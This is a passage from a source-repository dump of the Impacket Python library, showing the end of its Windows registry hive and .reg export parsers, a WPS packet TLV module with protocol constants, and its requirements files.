StructMappings[block['Data'][:2]](block['Data'])\n            else:\n                LOG.debug(\"Unknown type 0x%s\" % block['Data'][:2])\n                return block\n            return None\n\n    def __getValueBlocks(self, offset, count):\n        valueList = []\n        res = []\n        self.fd.seek(4096+offset,0)\n        for i in range(count):\n            valueList.append(unpack('<l',self.fd.read(4))[0])\n\n        for valueOffset in valueList:\n            if valueOffset > 0:\n                block = self.__getBlock(valueOffset)\n                res.append(block)\n        return res\n\n    def __getData(self, offset, count):\n        self.fd.seek(4096+offset, 0)\n        return self.fd.read(count)[4:]\n    \n    def __setData(self, offset, value):\n        self.fd.seek(4096+offset+4, 0)\n        return self.fd.write(value)\n\n    def __processDataBlocks(self,data):\n        res = []\n        while len(data) > 0:\n            #blockSize = unpack('<l',data[:calcsize('l')])[0]\n            blockSize = unpack('<l',data[:4])[0]\n            block = REG_HBINBLOCK()\n            if blockSize > 0:\n                tmpList = list(block.structure)\n                tmpList[1] = ('_Data','_-Data','self[\"DataBlockSize\"]-4')\n                block.structure =  tuple(tmpList)\n\n            block.fromString(data)\n            blockLen = len(block)\n\n            if block['Data'][:2] in StructMappings:\n                block = StructMappings[block['Data'][:2]](block['Data'])\n\n            res.append(block)\n            data = data[blockLen:]\n        return res\n\n    def __getValueData(self, rec):\n        # We should receive a VK record\n        if rec['DataLen'] == 0:\n            return ''\n        if rec['DataLen'] < 0:\n            # if DataLen < 5 the value itself is stored in the Offset field\n            return rec['OffsetData']\n        else:\n            return self.__getData(rec['OffsetData'], rec['DataLen']+4)\n    \n    def __setValueData(self, rec, value):\n        if len(value) != rec['DataLen']:\n            # The case of data stored in the Offset field itself still needs more\n            # work as it's necessary to identify the offset in the file to overwrite it.\n            # Leaving unimplemented for now as there's no clear use case yet.\n            # if rec['DataLen'] < 0:\n            #    if len(value) <= 4:\n            #        rec['OffsetData'] = int.from_bytes(value)\n            LOG.debug(\"Invalid value length received by __setValueData. Expected: %d - Got: %d\" % (rec['DataLen'], len(value)))\n            # This is a much more relevant scenario that should be revisited and properly implemented.\n            raise NotImplementedError(\"Setting key values with differing lengths is not implemented.\")\n        if rec['DataLen'] == 0:\n            LOG.debug(\"Received 0 length input for __setValueData.\")\n            return 0\n        else:\n            return self.__setData(rec['OffsetData'], value)\n\n    def __getLhHash(self, key):\n        res = 0\n        for bb in key.upper():\n            res *= 37\n            res += ord(bb)\n        return res % 0x100000000\n\n    def __compareHash(self, magic, hashData, key):\n        if magic == 'lf':\n            hashRec = REG_HASH(hashData)\n            if hashRec['KeyName'].strip(b'\\x00') == b(key[:4]):\n                return hashRec['OffsetNk']\n        elif magic == 'lh':\n            hashRec = REG_HASH(hashData)\n            if unpack('<L',hashRec['KeyName'])[0] == self.__getLhHash(key):\n                return hashRec['OffsetNk']\n        elif magic == 'ri':\n            # Special case here, don't know exactly why, an ri pointing to a NK :-o\n            offset = unpack('<L', hashData[:4])[0]\n            nk = self.__getBlock(offset)\n            if nk['KeyName'] == key:\n                return offset\n        else:\n            LOG.critical(\"UNKNOWN Magic %s\" % magic)\n            sys.exit(1)\n\n        return None\n\n    def __findSubKey(self, parentKey, subKey):\n        lf = self.__getBlock(parentKey['OffsetSubKeyLf'])\n        if lf is not None:\n            data = lf['HashRecords']\n            # Let's search the hash records for the name\n            if lf['Magic'] == 'ri':\n                # ri points to lf/lh records, so we must parse them before\n                records = b''\n                for i in range(lf['NumKeys']):\n                    offset = unpack('<L', data[:4])[0]\n                    l = self.__getBlock(offset)\n                    records = records + l['HashRecords'][:l['NumKeys']*8]\n                    data = data[4:]\n                data = records\n\n            #for record in range(lf['NumKeys']):\n            for record in range(parentKey['NumSubKeys']):\n                hashRec = data[:8]\n                res = self.__compareHash(lf['Magic'], hashRec, subKey)\n                if res is not None:\n                    # We have a match, now let's check the whole record\n                    nk = self.__getBlock(res)\n                    if nk['KeyName'].decode('utf-8') == subKey:\n                        return nk\n                data = data[8:]\n\n        return None\n\n    def __walkSubNodes(self, rec):\n        nk = self.__getBlock(rec['OffsetNk'])\n        if isinstance(nk, REG_NK):\n            print(\"%s%s\" % (self.indent, nk['KeyName'].decode('utf-8')))\n            self.indent += '  '\n            if nk['OffsetSubKeyLf'] < 0:\n                self.indent = self.indent[:-2]\n                return\n            lf = self.__getBlock(nk['OffsetSubKeyLf'])\n        else:\n            lf = nk\n\n        data = lf['HashRecords']\n\n        if lf['Magic'] == 'ri':\n            # ri points to lf/lh records, so we must parse them before\n            records = ''\n            for i in range(lf['NumKeys']):\n                offset = unpack('<L', data[:4])[0]\n                l = self.__getBlock(offset)\n                records = records + l['HashRecords'][:l['NumKeys']*8]\n                data = data[4:]\n            data = records\n\n        for key in range(lf['NumKeys']):\n            hashRec = REG_HASH(data[:8])\n            self.__walkSubNodes(hashRec)\n            data = data[8:]\n\n        if isinstance(nk, REG_NK):\n            self.indent = self.indent[:-2]\n\n    def walk(self, parentKey):\n        key = self.findKey(parentKey)\n\n        if key is None or key['OffsetSubKeyLf'] < 0:\n            return\n\n        lf = self.__getBlock(key['OffsetSubKeyLf'])\n        data = lf['HashRecords']\n        for record in range(lf['NumKeys']):\n            hashRec = REG_HASH(data[:8])\n            self.__walkSubNodes(hashRec)\n            data = data[8:]\n\n    def findKey(self, key):\n        # Let's strip '\\' from the beginning, except for the case of\n        # only asking for the root node\n        if key[0] == '\\\\' and len(key) > 1:\n            key = key[1:]\n\n        parentKey = self.rootKey\n        if len(key) > 0 and key[0]!='\\\\':\n            for subKey in key.split('\\\\'):\n                res = self.__findSubKey(parentKey, subKey)\n                if res is not None:\n                    parentKey = res\n                else:\n                    #LOG.error(\"Key %s not found!\" % key)\n                    return None\n\n        return parentKey\n\n    def printValue(self, valueType, valueData):\n        if valueType in [REG_SZ, REG_EXPAND_SZ, REG_MULTISZ]:\n            if isinstance(valueData, int):\n                print('NULL')\n            else:\n                print(\"%s\" % (valueData.decode('utf-16le')))\n        elif valueType == REG_BINARY:\n            print('')\n            hexdump(valueData, self.indent)\n        elif valueType == REG_DWORD:\n            print(\"%d\" % valueData)\n        elif valueType == REG_QWORD:\n            print(\"%d\" % (unpack('<Q',valueData)[0]))\n        elif valueType == REG_NONE:\n            try:\n                if len(valueData) > 1:\n                    print('')\n                    hexdump(valueData, self.indent)\n                else:\n                    print(\" NULL\")\n            except:\n                print(\" NULL\")\n        else:\n            print(\"Unknown Type 0x%x!\" % valueType)\n            hexdump(valueData)\n\n    def enumKey(self, parentKey):\n        res = []\n        # If we're here.. we have a valid NK record for the key\n        # Now let's searcht the subkeys\n        if parentKey['NumSubKeys'] > 0:\n            lf = self.__getBlock(parentKey['OffsetSubKeyLf'])\n            data = lf['HashRecords']\n\n            if lf['Magic'] == 'ri':\n                # ri points to lf/lh records, so we must parse them before\n                records = ''\n                for i in range(lf['NumKeys']):\n                    offset = unpack('<L', data[:4])[0]\n                    l = self.__getBlock(offset)\n                    records = records + l['HashRecords'][:l['NumKeys']*8]\n                    data = data[4:]\n                data = records\n\n            for i in range(parentKey['NumSubKeys']):\n                hashRec = REG_HASH(data[:8])\n                nk = self.__getBlock(hashRec['OffsetNk'])\n                data = data[8:]\n                res.append('%s'%nk['KeyName'].decode('utf-8'))\n        return res\n\n    def enumValues(self,key):\n        # If we're here.. we have a valid NK record for the key\n        # Now let's search its values\n        resp = []\n        if key['NumValues'] > 0:\n            valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)\n\n            for value in valueList:\n                if value['Flag'] > 0:\n                    resp.append(value['Name'])\n                else:\n                    resp.append(b'default')\n\n        return resp\n\n    def getValue(self, keyValue, valueName=None):\n        \"\"\" returns a tuple with (ValueType, ValueData) for the requested keyValue\n            valueName is the name of the value (which can contain '\\\\')\n            if valueName is not  given, keyValue must be a string containing the full path to the value\n            if valueName is given, keyValue should be the string containing the path to the key containing valueName\n        \"\"\"\n        if valueName is None:\n            regKey   = ntpath.dirname(keyValue)\n            regValue = ntpath.basename(keyValue)\n        else:\n            regKey = keyValue\n            regValue = valueName\n\n        key = self.findKey(regKey)\n\n        if key is None:\n            return None\n\n        if key['NumValues'] > 0:\n            valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)\n\n            for value in valueList:\n                if value['Name'] == b(regValue):\n                    return value['ValueType'], self.__getValueData(value)\n                elif regValue == 'default' and value['Flag'] <=0:\n                    return value['ValueType'], self.__getValueData(value)\n\n        return None\n    \n    def setValue(self, keyValue, valueData):\n        # Returns a tuple with (ValueType, BytesWritten) for the request keyValue\n        regKey = ntpath.dirname(keyValue)\n        regValue = ntpath.basename(keyValue)\n\n        key = self.findKey(regKey)\n\n        if key is None:\n            return None\n        \n        if key['NumValues'] > 0:\n            valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)\n\n            for value in valueList:\n                if value['Name'] == b(regValue):\n                    return value['ValueType'], self.__setValueData(value, valueData)\n                elif regValue == 'default' and value['Flag'] <=0:\n                    return value['ValueType'], self.__setValueData(value, valueData)\n        \n        return None\n\n    def getClass(self, className):\n\n        key = self.findKey(className)\n\n        if key is None:\n            return None\n\n        #print key.dump()\n        if key['OffsetClassName'] > 0:\n            value = self.__getBlock(key['OffsetClassName'])\n            return value['Data']\n\n\nclass RegistryNode:\n    def __init__(self, keyName, nodeName, data = None):\n        self.keyName = keyName\n        self.nodeName = nodeName\n        self.data = data\n        self.childKeys = {}\n    \n    def addChildNode(self, childKey):\n        self.childKeys = self.childKeys | childKey\n\n\nclass exportRegistryParser(Registry):\n    def __init__(self, hive):\n        self.indent = ''\n        self.__hive = hive\n        self.fd = open(hive, encoding='utf-16le')\n        self.__buildRegistryTree()\n        \n    def __parseType(self, ValueType):   \n        if ValueType == 'hex(0)':\n            return REG_NONE\n        elif ValueType == 'hex(2)':\n            return REG_EXPAND_SZ\n        elif ValueType == 'hex':\n            return REG_BINARY\n        elif ValueType == 'dword':\n            return REG_DWORD\n        elif ValueType == 'hex(7)':\n            return REG_MULTISZ\n        elif ValueType == 'hex(b)':\n            return REG_QWORD\n        else:\n            return int(ValueType.replace('hex(','0x').replace(')',''),16)\n\n    def __keyToNodePath(self, key):\n        return key.replace(f'{self.registryTree.keyName}\\\\','').strip('\\\\').split('\\\\')\n        \n    def __findNode(self, nodePath):\n        node = self.registryTree\n        try:\n            if nodePath != ['']:\n                for tempNode in nodePath:\n                    node = node.childKeys[tempNode]\n            return node\n        except:\n            return None\n\n    def __extractData(self, regkey_values):      \n        if not regkey_values:\n            return { 'default' : [REG_SZ, '']}\n        else:\n            data = {}\n            pattern_regsz = re.compile(r'^(?:\"(.*)\"|(@))=\"(.*)\"$')\n            pattern_other = re.compile(r'^(?:\"(.*)\"|(@))=(.*):([\\S\\s]*)$')\n            \n            pattern_split_values = re.compile(r'^([\\S\\s]*?)$(?<!\\\\)', re.MULTILINE)\n            values = pattern_split_values.findall(regkey_values)\n            for value in values:\n                if pattern_regsz.search(value):\n                    match = pattern_regsz.findall(value)[0]\n                    ValueType = REG_SZ\n                    ValueData = match[2]\n                    if match[1]:\n                        ValueName = 'default'\n                    else:\n                        ValueName = match[0]\n                else:\n                    match = pattern_other.findall(value)[0]\n                    ValueType = self.__parseType(match[2]) \n                    ValueData = match[3].strip('\\n').replace(',','').replace(' ','').replace('\\\\\\n','')\n                    if match[1]:\n                        ValueName = 'default'\n                    else:\n                        ValueName = match[0]\n\n                data = data | {ValueName : [ValueType, ValueData]}\n            return data\n    \n    def __buildChildNode(self, keyName, regkey_values):      \n        nodeName = ''.join(keyName.split('\\\\')[-1:])   \n        data  = self.__extractData(regkey_values)\n        node = { nodeName : RegistryNode(keyName, nodeName, data)}\n        \n        return node\n\n    def __buildRegistryTree(self):\n        pattern = re.compile(r'^\\[(.*?)\\]\\n([\\S\\s]*?)?^\\n',re.MULTILINE)\n        file = self.fd.read()\n        rootKey = True\n        for match in pattern.findall(file):\n            keyName = match[0]\n            regkey_values = match[1].strip('\\n')\n\n            if rootKey is True:\n                data = self.__extractData(regkey_values)\n                nodeName = ''.join(keyName.split('\\\\')[-1:])\n                self.registryTree = RegistryNode(keyName, nodeName, data)\n                rootKey = False\n            else:\n                parentPath = self.__keyToNodePath(keyName)[:-1]\n                node = self.__buildChildNode(keyName, regkey_values)\n                parentNode = self.__findNode(parentPath)\n                parentNode.addChildNode(node)\n\n    def __walkSubNodes(self, node):\n        print(\"%s%s\" % (self.indent, node.nodeName ))\n        self.indent += '  '\n        if node.childKeys == {}:\n            self.indent = self.indent[:-2]\n            return\n\n        for subNode in list(node.childKeys.values()):\n            self.__walkSubNodes(subNode)\n\n        self.indent = self.indent[:-2]\n\n    def walk(self, parentKey):\n        path = self.__keyToNodePath(parentKey)\n        node = self.__findNode(path)\n\n        if node is None:\n            return\n\n        for subNode in list(node.childKeys.values()):\n            self.__walkSubNodes(subNode)\n\n    def printValue(self, valueType, valueData):\n        if valueType in [REG_SZ, REG_EXPAND_SZ, REG_MULTISZ] :\n            if valueData == b'' or valueData == b'\\x00\\x00':\n                print('NULL')\n            else:\n                print(\"%s\" % (valueData.decode('utf-16le')))\n        elif valueType == REG_BINARY:\n            print('')\n            hexdump(valueData, self.indent)\n        elif valueType == REG_DWORD:\n            if valueData == b'':\n                print(0)\n            else:\n                print(int.from_bytes(valueData))\n        elif valueType == REG_QWORD:\n            print(\"%d\" % (unpack('<Q',valueData)[0]))\n        elif valueType == REG_NONE:\n            try:\n                if len(valueData) > 1:\n                    print('')\n                    hexdump(valueData, self.indent)\n                else:\n                    print(\" NULL\")\n            except:\n                print(\" NULL\")\n        else:\n            print(\"Unknown Type 0x%x!\" % valueType)\n            hexdump(valueData)\n\n    def findKey(self, key):\n        if key == '\\\\':\n            return '\\\\'\n        else:\n            return  '\\\\'.join(self.__keyToNodePath(key))\n\n    def enumKey(self, key):\n        path = self.__keyToNodePath(key)\n        node = self.__findNode(path)\n        return list(node.childKeys.keys())\n        \n    def enumValues(self,key):\n        path = self.__keyToNodePath(key)\n        node = self.__findNode(path)\n        if not node:\n            return None\n        else:\n            values = list(node.data.keys())\n            return [s.encode('utf-8') for s in values]\n\n    def getValue(self, keyValue, valueName=None):\n        \"\"\" returns a tuple with (ValueType, ValueData) for the requested keyValue\n            valueName is the name of the value (which can contain '\\\\')\n            if valueName is not  given, keyValue must be a string containing the full path to the value\n            if valueName is given, keyValue should be the string containing the path to the key containing valueName\n        \"\"\"\n        path = self.__keyToNodePath(keyValue)\n        if valueName is None:\n            keyPath = path[:-1]\n            regValue = ''.join(path[-1:])\n        else:\n            keyPath = path\n            regValue = valueName\n\n        try:\n            node = self.__findNode(keyPath)\n            ValueType, ValueData = node.data[regValue]\n            if ValueType in [REG_SZ]:\n                return ValueType, ValueData.encode(\"utf-16le\")\n            else: \n                return ValueType, unhexlify(ValueData)\n        except:\n            return None\n\n    def getClass(self, className):\n        # Export format does not contain class name\n        return None\n\n# Factory function to create the appropriate registry parser\ndef get_registry_parser(hive, isRemote=False):\n    \"\"\"\n    Factory function to instantiate the correct registry parser by auto-detecting the hive format.\n    :param hive: Path to the registry hive file (str) or file-like object\n    :param isRemote: Whether the hive is remote\n    :return: An instance of saveRegistryParser or exportRegistryParser\n    \"\"\"\n\n    # can be called from secretsdump.RemoteFile or from file path\n    is_file_object = hasattr(hive, 'read') and hasattr(hive, 'seek')\n\n    if is_file_object:\n        # secretsdump.RemoteFile \n        return saveRegistryParser(hive, isRemote)\n    else:\n        # File path (string)\n        with open(hive, 'rb') as fd:\n            data = fd.read(64)\n\n    # Decide which class to instantiate based on format detection\n    if data[:4] == b'regf':\n        # Binary hive format\n        return saveRegistryParser(hive, isRemote)\n\n    # Check for export format\n    try:\n        header = data.decode('utf-16le')\n        if 'Windows Registry Editor' in header or 'REGEDIT' in header:\n            return exportRegistryParser(hive)\n    except Exception:\n        pass\n\n    raise ValueError(\"Could not determine registry hive format (not a binary hive or export)\")\n"
  },
  {
    "path": "impacket/wps.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   WPS packets\n#\n# Author:\n#   Aureliano Calvo\n#\n\nimport array\nimport struct\n\nfrom impacket.ImpactPacket import array_tobytes\nfrom impacket.helper import ProtocolPacket, Byte, Bit\nfrom functools import reduce\n\n\nclass ArrayBuilder(object):\n\n    def from_ary(self, ary):\n        return ary\n\n    def to_ary(self, value):\n        return array.array(\"B\", value)\n    \nclass ByteBuilder(object):\n\n    def from_ary(self, ary):\n        return ary[0]\n    \n    def to_ary(self, value):\n        return array.array('B', [value])\n    \nclass StringBuilder(object):\n    def from_ary(self, ary):\n        return array_tobytes(ary)\n        \n    def to_ary(self, value):\n        return array.array('B', value)\n    \nclass NumBuilder(object):\n    \"\"\"Converts back and forth between arrays and numbers in network byte-order\"\"\"\n    \n    def __init__(self, size):\n        \"\"\"size: number of bytes in the field\"\"\"\n        self.size = size\n    \n    def from_ary(self, ary):\n        if len(ary) != self.size:\n            raise Exception(\"Expected %s size but got %s\" % (self.size, len(ary)))\n        return reduce( lambda ac, x: ac * 256 + x, ary, 0)\n    \n    def to_ary(self, value0):\n        value = value0\n        rv = array.array('B')\n        for _ in range(self.size):\n            value, mod = divmod(value, 256)\n            rv.append(mod)\n            \n        if value != 0:\n            raise Exception(\"%s is too big. Max size: %s\" % (value0, self.size))\n            \n        rv.reverse()\n        return rv\n    \nclass TLVContainer(object):\n    \n    def builder(self, kind):\n        return self.builders.get(kind, self.default_builder)\n    \n    def from_ary(self, ary):\n        i = 0\n        while i<len(ary):\n            kind = self.ary2n(ary, i)\n            length = self.ary2n(ary, i+2)\n            i+=4\n            value = ary[i:i+length]\n            self.elems.append((kind, value))\n            i += length\n            \n        return self\n                \n    def __init__(self, builders, default_builder = ArrayBuilder(), descs=None):\n        self.builders = builders\n        self.default_builder = default_builder\n        self.elems = []\n        self.descs = descs or {}\n        \n    def append(self, kind, value):\n        self.elems.append((kind, self.builder(kind).to_ary(value)))\n    \n    def __iter__(self):\n        return ((k, self.builder(k).from_ary(v)) for k,v in self.elems)\n    \n    def all(self, kind):\n        return [e[1] for e in self if e[0] == kind]\n    \n    def __contains__(self, kind):\n        return len(self.all(kind)) != 0\n    \n    def first(self, kind):\n        return self.all(kind)[0]\n    \n    def to_ary(self):\n        ary = array.array('B')\n        for k,v in self.elems:\n            ary.extend(self.n2ary(k))\n            ary.extend(self.n2ary(len(v)))\n            ary.extend(v)\n            \n        return ary\n\n    \n    def get_packet(self):\n        return array_tobytes(self.to_ary())\n    \n    def set_parent(self, my_parent):\n        self.__parent = my_parent\n        \n    def parent(self):\n        return self.__parent\n    \n    def n2ary(self, n):\n        return array.array(\"B\", struct.pack(\">H\",n))\n    \n    def ary2n(self, ary, i=0):\n        return struct.unpack(\">H\", array_tobytes(ary[i:i+2]))[0]\n    \n    def __repr__(self):\n        def desc(kind):\n            return self.descs[kind] if kind in self.descs else kind\n        \n        return \"<TLVContainer %s>\" % repr([(desc(k), self.builder(k).from_ary(v)) for (k,v) in self.elems])\n    \n    def child(self):\n        return None\n\nclass SCElem(object):    \n    #Data elements as defined in section 11 of the WPS 1.0h spec.\n    \n    AP_CHANNEL = 0x1001\n    ASSOCIATION_STATE = 0x1002\n    AUTHENTICATION_TYPE = 0x1003\n    AUTHENTICATION_TYPE_FLAGS = 0x1004\n    AUTHENTICATOR = 0x1005\n    CONFIG_METHODS = 0x1008\n    CONFIGURATION_ERROR = 0x1009\n    CONFIRMATION_URL4 = 0x100A\n    CONFIRMATION_URL6 = 0x100B\n    CONNECTION_TYPE = 0X100C\n    CONNECTION_TYPE_FLAGS = 0X100D\n    CREDENTIAL = 0X100E \n    DEVICE_NAME = 0x1011\n    DEVICE_PASSWORD_ID = 0x1012\n    E_HASH1 = 0x1014\n    E_HASH2 = 0x1015\n    E_SNONCE1 = 0x1016\n    E_SNONCE2 = 0x1017\n    ENCRYPTED_SETTINGS = 0x1018 \n    ENCRYPTION_TYPE = 0X100F\n    ENCRYPTION_TYPE_FLAGS = 0x1010\n    ENROLLEE_NONCE = 0x101A\n    FEATURE_ID = 0x101B\n    IDENTITY = 0X101C\n    INDENTITY_PROOF = 0X101D \n    KEY_WRAP_AUTHENTICATOR = 0x101E\n    KEY_IDENTIFIER = 0X101F\n    MAC_ADDRESS = 0x1020\n    MANUFACTURER = 0x1021\n    MESSAGE_TYPE = 0x1022\n    MODEL_NAME = 0x1023\n    MODEL_NUMBER = 0x1024\n    NETWORK_INDEX = 0x1026\n    NETWORK_KEY = 0x1027\n    NETWORK_KEY_INDEX = 0x1028\n    NEW_DEVICE_NAME = 0x1029\n    NEW_PASSWORD = 0x102A\n    OOB_DEVICE_PASSWORD = 0X102C\n    OS_VERSION= 0X102D\n    POWER_LEVEL = 0X102F\n    PSK_CURRENT = 0x1030\n    PSK_MAX = 0x1031\n    PUBLIC_KEY = 0x1032\n    RADIO_ENABLED = 0x1033\n    REBOOT = 0x1034\n    REGISTRAR_CURRENT = 0x1035\n    REGISTRAR_ESTABLISHED = 0x1036\n    REGISTRAR_LIST = 0x1037\n    REGISTRAR_MAX = 0x1038\n    REGISTRAR_NONCE = 0x1039\n    REQUEST_TYPE = 0x103A\n    RESPONSE_TYPE = 0x103B\n    RF_BANDS = 0X103C\n    R_HASH1 = 0X103D\n    R_HASH2 = 0X103E\n    R_SNONCE1 = 0X103F\n    R_SNONCE2 = 0x1040\n    SELECTED_REGISTRAR = 0x1041\n    SERIAL_NUMBER = 0x1042\n    WPS_STATE = 0x1044\n    SSID = 0x1045\n    TOTAL_NETWORKS = 0x1046\n    UUID_E = 0x1047\n    UUID_R = 0x1048\n    VENDOR_EXTENSION = 0x1049\n    VERSION = 0x104A\n    X_509_CERTIFICATE_REQUEST = 0x104B \n    X_509_CERTIFICATE = 0x104C\n    EAP_IDENTITY = 0x104D\n    MESSAGE_COUNTER = 0x104E\n    PUBLIC_KEY_HASH = 0x104F\n    REKEY_KEY = 0x1050\n    KEY_LIFETIME = 0x1051\n    PERMITTED_CONFIG_METHODS = 0x1052\n    SELECTED_REGISTRAR_CONFIG_METHODS= 0x1053\n    PRIMARY_DEVICE_TYPE = 0x1054\n    SECONDARY_DEVICE_TYPE_LIST = 0x1055\n    PORTABLE_DEVICE = 0x1056\n    AP_SETUP_LOCKED = 0x1057\n    APPLICATION_EXTENSION = 0x1058\n    EAP_TYPE = 0x1059\n    INITIALIZATION_VECTOR = 0x1060\n    KEY_PROVIDED_AUTOMATICALLY = 0x1061\n    _802_1X_ENABLED = 0x1062\n    APP_SESSION_KEY = 0x1063\n    WEP_TRANSMIT_KEY = 0x1064\n    \nclass MessageType(object):\n    \"\"\"Message types according to WPS 1.0h spec, section 11\"\"\"\n    \n    BEACON = 0x01\n    PROBE_REQUEST = 0x02\n    PROBE_RESPONSE = 0x03\n    M1 = 0x04\n    M2 = 0x05\n    M2D = 0x06\n    M3 = 0x07\n    M4 = 0x08\n    M5 = 0x09\n    M6 = 0x0A\n    M7 = 0x0B\n    M8 = 0x0C\n    WSC_ACK = 0x0D\n    WSC_NACK = 0x0E\n    WSC_DONE = 0x0F\n    \nclass AuthTypeFlag(object):\n    OPEN = 0x0001\n    WPAPSK = 0x0002\n    SHARED = 0x0004\n    WPA = 0x0008\n    WPA2 = 0x0010\n    WPA2PSK = 0x0020\n    \nAuthTypeFlag_ALL = AuthTypeFlag.OPEN | \\\n        AuthTypeFlag.WPAPSK | \\\n        AuthTypeFlag.SHARED | \\\n        AuthTypeFlag.WPA | \\\n        AuthTypeFlag.WPA2 | \\\n        AuthTypeFlag.WPA2PSK\n        \nclass EncryptionTypeFlag(object):\n    NONE = 0x0001\n    WEP = 0x0002\n    TKIP = 0x0004\n    AES = 0x0008\n    \nEncryptionTypeFlag_ALL = EncryptionTypeFlag.NONE | EncryptionTypeFlag.WEP | EncryptionTypeFlag.TKIP | EncryptionTypeFlag.AES\n\nclass ConnectionTypeFlag(object):\n    ESS = 0x01\n    IBSS = 0x02\n    \nclass ConfigMethod(object):\n    USBA = 0x0001\n    ETHERNET = 0x0002\n    LABEL = 0x0004\n    DISPLAY = 0x0008\n    EXT_NFC_TOKEN = 0x0010\n    INT_NFC_TOKEN = 0x0020\n    NFC_INTERFACE = 0x0040\n    PUSHBUTTON = 0x0080\n    KEYPAD = 0x0100\n    \n    \nclass OpCode(object):\n    WSC_START = 0x01\n    WSC_ACK = 0x02\n    WSC_NACK = 0x03\n    WSC_MSG = 0x04\n    WSC_DONE = 0x05\n    WSC_FRAG_ACK = 0x06\n    \nclass AssocState(object):\n    NOT_ASSOC = 0\n    CONN_SUCCESS = 1\n    CFG_FAILURE = 2\n    FAILURE = 3,\n    IP_FAILURE = 4\n    \nclass ConfigError(object):\n    NO_ERROR = 0\n    OOB_IFACE_READ_ERROR = 1\n    DECRYPTION_CRC_FAILURE = 2\n    _24_CHAN_NOT_SUPPORTED = 3\n    _50_CHAN_NOT_SUPPORTED = 4\n    SIGNAL_TOO_WEAK = 5\n    NETWORK_AUTH_FAILURE = 6\n    NETWORK_ASSOC_FAILURE = 7\n    NO_DHCP_RESPONSE = 8\n    FAILED_DHCP_CONFIG = 9\n    IP_ADDR_CONFLICT = 10\n    NO_CONN_TO_REGISTRAR = 11\n    MULTIPLE_PBC_DETECTED = 12\n    ROGUE_SUSPECTED = 13\n    DEVICE_BUSY = 14\n    SETUP_LOCKED = 15\n    MSG_TIMEOUT = 16\n    REG_SESS_TIMEOUT = 17\n    DEV_PASSWORD_AUTH_FAILURE = 18\n    \nclass DevicePasswordId(object):\n    DEFAULT = 0x0000\n    USER_SPECIFIED = 0x0001\n    MACHINE_SPECIFIED = 0x0002\n    REKEY = 0x0003\n    PUSHBUTTON = 0x0004\n    REGISTRAR_SPECIFIED = 0x0005\n    \nclass WpsState(object):\n    NOT_CONFIGURED = 0x01\n    CONFIGURED = 0x02\n    \n\nclass SimpleConfig(ProtocolPacket):\n    \"For now, it supports Simple configs with the bits more_fragments and length_field not set\"\n    \n    header_size = 2\n    tail_size = 0\n\n    op_code = Byte(0)\n    flags = Byte(1)\n    more_fragments = Bit(1, 0)\n    length_field = Bit(1,1)\n    \n    BUILDERS = {\n        SCElem.CONNECTION_TYPE: ByteBuilder(),\n        SCElem.CONNECTION_TYPE_FLAGS: ByteBuilder(),\n        SCElem.VERSION: ByteBuilder(),\n        SCElem.MESSAGE_TYPE: ByteBuilder(),\n        SCElem.NETWORK_INDEX: ByteBuilder(),\n        SCElem.NETWORK_KEY_INDEX: ByteBuilder(),\n        SCElem.POWER_LEVEL: ByteBuilder(),\n        SCElem.PSK_CURRENT: ByteBuilder(),\n        SCElem.PSK_MAX: ByteBuilder(),\n        SCElem.REGISTRAR_CURRENT: ByteBuilder(),\n        SCElem.REGISTRAR_MAX: ByteBuilder(),\n        SCElem.REQUEST_TYPE: ByteBuilder(),\n        SCElem.RESPONSE_TYPE: ByteBuilder(),\n        SCElem.RF_BANDS: ByteBuilder(),\n        SCElem.WPS_STATE: ByteBuilder(),\n        SCElem.TOTAL_NETWORKS: ByteBuilder(),\n        SCElem.VERSION: ByteBuilder(),\n        SCElem.WEP_TRANSMIT_KEY: ByteBuilder(),\n        \n        SCElem.CONFIRMATION_URL4: StringBuilder(),\n        SCElem.CONFIRMATION_URL6: StringBuilder(),\n        SCElem.DEVICE_NAME: StringBuilder(),\n        SCElem.IDENTITY: StringBuilder(),\n        SCElem.MANUFACTURER: StringBuilder(),\n        SCElem.MODEL_NAME: StringBuilder(),\n        SCElem.MODEL_NUMBER: StringBuilder(),\n        SCElem.NEW_DEVICE_NAME: StringBuilder(),\n        SCElem.NEW_PASSWORD: StringBuilder(),\n        SCElem.SERIAL_NUMBER: StringBuilder(),\n        SCElem.EAP_IDENTITY: StringBuilder(),\n        SCElem.NETWORK_KEY: StringBuilder(),\n            \n        SCElem.AP_CHANNEL: NumBuilder(2),\n        SCElem.ASSOCIATION_STATE: NumBuilder(2),\n        SCElem.AUTHENTICATION_TYPE: NumBuilder(2),\n        SCElem.AUTHENTICATION_TYPE_FLAGS: NumBuilder(2),\n        SCElem.CONFIG_METHODS: NumBuilder(2),\n        SCElem.CONFIGURATION_ERROR: NumBuilder(2),\n        SCElem.DEVICE_PASSWORD_ID: NumBuilder(2),\n        SCElem.ENCRYPTION_TYPE: NumBuilder(2),\n        SCElem.ENCRYPTION_TYPE_FLAGS: NumBuilder(2),\n        SCElem.MESSAGE_COUNTER: NumBuilder(8),       \n        SCElem.KEY_LIFETIME: NumBuilder(4),\n        SCElem.PERMITTED_CONFIG_METHODS: NumBuilder(2),\n        SCElem.SELECTED_REGISTRAR_CONFIG_METHODS: NumBuilder(2),\n        SCElem.PUBLIC_KEY: NumBuilder(192),\n\n    }\n    \n    @classmethod\n    def build_tlv_container(cls):\n        return TLVContainer(\n            builders=SimpleConfig.BUILDERS, \n            descs = dict( (v,k) for (k,v) in SCElem.__dict__.items() )\n        )\n"
  },
  {
    "path": "requirements-test.txt",
    "content": "pytest\npytest-cov"
  },
  {
    "path": "requirements.txt",
    "content": "setuptools\nsix\ncharset_normalizer\npyasn1>=0.2.3\npyasn1_modules\npycryptodomex\npyOpenSSL\nldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6\nldapdomaindump>=0.9.0\nflask>=1.0\npyreadline3;sys_platform == 'win32'\n"
  },
  {
    "path": "setup.py",
